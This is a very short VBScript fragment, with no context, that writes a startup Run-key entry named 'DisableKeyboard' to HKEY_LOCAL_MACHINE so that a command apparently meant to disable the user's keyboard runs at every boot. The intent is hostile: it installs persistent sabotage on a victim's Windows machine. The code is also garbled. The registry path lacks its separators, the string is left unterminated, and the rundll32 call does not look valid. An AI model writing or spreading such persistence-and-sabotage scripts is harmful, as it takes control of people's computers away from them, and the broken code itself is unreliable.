Set shl = CreateObject("Wscript.shell") 

Shl.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunDisableKeyboard", "Rundll32.exe Keyboard,Disable